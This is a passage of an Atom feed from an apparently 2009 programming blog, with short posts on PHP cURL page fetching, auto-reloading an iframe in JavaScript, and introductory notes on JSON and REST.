href='http://opensourceconcepts.blogspot.com/2009/03/js-random-number-fucntion.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/360691726406636874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/360691726406636874'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/js-random-number-fucntion.html' title='JS Random number fucntion'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-5377276114377112309</id><published>2009-03-30T01:49:00.002-07:00</published><updated>2009-03-30T01:51:05.076-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='CURL'/><title type='text'>How to get HTML contents using Curl in PHP?</title><content type='html'>&lt;span style="font-family: arial;"&gt;$ch = curl_init();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;curl_setopt($ch, CURLOPT_URL,"http://www.example.com");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;curl_setopt($ch, CURLOPT_HEADER, 0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;$css = curl_exec($ch);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;curl_close($ch);&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-5377276114377112309?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/5377276114377112309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-get-html-contents-using-curl-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5377276114377112309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/5377276114377112309'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-get-html-contents-using-curl-in.html' title='How to get HTML contents using Curl in PHP?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7950877217563934021</id><published>2009-03-30T01:49:00.001-07:00</published><updated>2009-03-30T01:49:30.100-07:00</updated><title type='text'>How to get Data using Curl in PHP?</title><content type='html'>&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7950877217563934021?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7950877217563934021/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-get-data-using-curl-in-php.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7950877217563934021'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7950877217563934021'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-get-data-using-curl-in-php.html' title='How to get Data using Curl in PHP?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7011782892470346232</id><published>2009-03-30T01:22:00.000-07:00</published><updated>2009-03-30T01:48:59.252-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XHTML'/><title type='text'>How to reload a IFRAME?</title><content type='html'>&lt;pre id="line69"&gt;&lt;&lt;span class="start-tag"&gt;iframe&lt;/span&gt;&lt;span class="attribute-name"&gt; src&lt;/span&gt;=&lt;span class="attribute-value"&gt;"index.html" &lt;/span&gt;&lt;span class="attribute-name"&gt;width&lt;/span&gt;=&lt;span class="attribute-value"&gt;'100%' &lt;/span&gt;&lt;span class="attribute-name"&gt;height&lt;/span&gt;=&lt;span class="attribute-value"&gt;'600' &lt;/span&gt;&lt;span class="attribute-name"&gt;scrolling&lt;/span&gt;=&lt;span class="attribute-value"&gt;"yes" &lt;/span&gt;&lt;span class="attribute-name"&gt;id&lt;/span&gt;=&lt;span class="attribute-value"&gt;'myframe'&lt;/span&gt;&gt;&lt;span class="end-tag"&gt;&lt;br /&gt;&lt;&lt;span class="start-tag"&gt;script&lt;/span&gt;&gt;&lt;br /&gt;function rand( min, max ) {&lt;br /&gt;// http://kevin.vanzonneveld.net&lt;br /&gt;// +   original by: Leslie Hoare&lt;br /&gt;// +   bugfixed by: Onno Marsman&lt;br /&gt;// *     example 1: rand(1, 1);&lt;br /&gt;// *     returns 1: 1&lt;br /&gt;var argc = arguments.length;&lt;br /&gt;if (argc == 0) {&lt;br /&gt; min = 0;&lt;br /&gt; max = 2147483647;&lt;br /&gt;} else if (argc == 1) {&lt;br /&gt; throw new Error('Warning: rand() expects exactly 2 parameters, 1 given');&lt;br /&gt;}&lt;br /&gt;return Math.floor(Math.random() * (max - min + 1)) + min;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function reload(){&lt;br /&gt;document.getElementById('myframe').src = 'index.html?'+rand(1,100000);&lt;br /&gt;}&lt;br /&gt;var ourInterval = setInterval('reload()', 10000);&lt;br /&gt;&lt;span class="end-tag"&gt;script&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7011782892470346232?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7011782892470346232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-reload-iframe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7011782892470346232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7011782892470346232'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-reload-iframe.html' title='How to reload a IFRAME?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2620014293610784634</id><published>2009-03-30T01:18:00.000-07:00</published><updated>2009-03-30T01:19:14.087-07:00</updated><title type='text'>An Introduction to Web 2.0</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/rDqGQ59jw_Y&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/rDqGQ59jw_Y&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2620014293610784634?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2620014293610784634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/introduction-to-web-20.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2620014293610784634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2620014293610784634'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/introduction-to-web-20.html' title='An Introduction to Web 2.0'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8380901275969805972</id><published>2009-03-27T02:54:00.000-07:00</published><updated>2009-03-27T02:56:55.196-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><title type='text'>JSON Vs JavaScript/XML</title><content type='html'>&lt;span style="font-family: arial;"&gt;JSON Vs JavaScripts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;JSON is a subset of the object literal notation of JavaScript&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;    &gt; JSON can be used in the JavaScript language with no muss or fuss &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Members can be retrieved using dot or subscript operators &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;       myJSONObject.web[1].name // “css"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;JSON Vs XML&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;They are both 'self-describing' meaning that values are named, and thus 'human readable'&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Both are hierarchical. (i.e. You can have values within values.)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Both can be parsed and used by lots of programming languages&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;In XML you can use any name you want for an element, in JSON you can't use reserved words from javascript.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8380901275969805972?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8380901275969805972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/json-vs-javascriptxml.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8380901275969805972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8380901275969805972'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/json-vs-javascriptxml.html' title='JSON Vs JavaScript/XML'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1392636469556498895</id><published>2009-03-27T02:53:00.000-07:00</published><updated>2009-03-27T02:54:12.792-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><title type='text'>Why JSON</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Lighter and faster than XML as on-the-wire data format&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;JSON objects are typed while XML data is typeless&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;JSON types: string, number, array, boolean, XML data are all string&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Native data form for JavaScript code&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;XML data needed to be parsed and assigned to variables through tedious DOM APIs&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Data is readily accessible as JSON objects in your JavaScript code&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Retrieving values is as easy as reading from an object property in your JavaScript code&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1392636469556498895?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1392636469556498895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/why-json.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1392636469556498895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1392636469556498895'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/why-json.html' title='Why JSON'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-4381302715310017853</id><published>2009-03-27T02:50:00.000-07:00</published><updated>2009-03-27T02:52:48.805-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JSON'/><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><title type='text'>What is JSON?</title><content type='html'>&lt;span style="font-family:arial;"&gt;Lightweight data-interchange format&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    &gt; Compared to XML&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Simple format&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    &gt; Easy for humans to read and write&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    &gt; Easy for machines to parse and generate&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;JSON is a text format&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    &gt; Programming language independent&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;    &gt; Uses conventions that are familiar to programmers of the C family of languages, including C, C++, C#, Java, JavaScript, Perl, Python&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-4381302715310017853?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/4381302715310017853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-json.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4381302715310017853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/4381302715310017853'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-json.html' title='What is JSON?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7694665435428965010</id><published>2009-03-27T02:48:00.001-07:00</published><updated>2009-03-27T02:48:44.734-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><title type='text'>Anti-REST - Issues With REST</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Single Method to GET and POST to - the 'service' endpoint (http://www.flickr.com/services/rest/).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Similarly, function URLs (e.g. https://api.del.icio.us/v1/posts/add)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Arguments to the 'function call', perhaps 'method' (flickr.groups.pools.getPhotos, flickr.blogs.postPhoto, etc), access key, etc.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Internal ids as arguments (photo_id, etc.)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Use of GET for 'function calls' that cause changes&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Use of POST for 'function calls' that only read data&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;POSTing an entire 'function call' in XML, complete with name and arguments, to the service URL&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Thinking in terms of function calls - Once you do that in an HTTP/Resource context its really easy to slip away from the Web's design and start breaking its fundamental properties of being able to cache, index, and bookmark (link to) resources&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7694665435428965010?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7694665435428965010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/anti-rest-issues-with-rest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7694665435428965010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7694665435428965010'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/anti-rest-issues-with-rest.html' title='Anti-REST - Issues With REST'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-9043229850101760979</id><published>2009-03-27T02:28:00.000-07:00</published><updated>2009-03-27T02:43:58.975-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='REST'/><title type='text'>What is this thing - REST</title><content type='html'>&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Resource based (not service based) - Something intersting on your system&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Address ability (name everything that matters)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Statelessness (no stateful messages exchange with a resource)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Resource state is always kept in the server and sent to the client as representations&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Statelessness increments scalability (self contained messages)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Relationships (expressed through links)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Resources contain links (or URI templates) to other resources Links act as state transitions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Think of resources as states in a state machine and links as state transitions&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: arial;"&gt;Application (conversation) state is captured in terms of these states&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-9043229850101760979?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/9043229850101760979/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-this-thing-rest.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/9043229850101760979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/9043229850101760979'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/what-is-this-thing-rest.html' title='What is this thing - REST'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry></feed>
